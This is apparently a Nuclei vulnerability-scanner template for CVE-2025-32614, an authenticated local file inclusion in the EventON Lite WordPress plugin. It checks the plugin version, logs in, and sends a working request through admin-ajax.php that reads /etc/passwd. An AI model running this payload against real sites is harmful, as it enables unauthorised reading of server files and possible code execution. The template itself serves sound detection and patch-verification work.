Description
Ashan Perera EventON contains a PHP remote file inclusion caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires attacker to control include filename.
Ashan Perera EventON contains a PHP remote file inclusion caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires attacker to control include filename.
id: CVE-2025-32614
info:
name: EventON Lite <= 2.4 - Authenticated Local File Inclusion
author: pussycat0x
severity: high
description: |
Ashan Perera EventON contains a PHP remote file inclusion caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires attacker to control include filename.
impact: |
Attackers can include arbitrary local files, potentially leading to code execution or information disclosure.
remediation: |
Update to the latest version of EventON or apply security patches to prevent file inclusion vulnerabilities.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/eventon-lite/eventon-241-authenticated-contributor-local-file-inclusion
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-32614
epss-score: 0.01851
epss-percentile: 0.78047
cwe-id: CWE-98
metadata:
verified: true
max-request: 3
vendor: flavor
product: flavor
framework: wordpress
publicwww-query: "/wp-content/plugins/eventon-lite/"
tags: cve,cve2025,wordpress,wp-plugin,lfi,eventon,authenticated,wp
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/eventon-lite/readme.txt"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "EventON Lite")'
- 'compare_versions(version, "<= 2.4")'
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- '(?i)Stable\s+tag:\s*([0-9.]+)'
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=eventon_get_secondary_settings&settings_file=/etc/passwd
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'regex("root:.*:0:0:", body)'
condition: and
# digest: 4a0a00473045022100bb78f8bf6be55c20c4e872023dbc660315241cfe8dfe5841585d58cddb92864b02204f66288cc7895529bf0db80cb38fdb8f97f9a4e886166ff6d709ac133b4a5f90:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.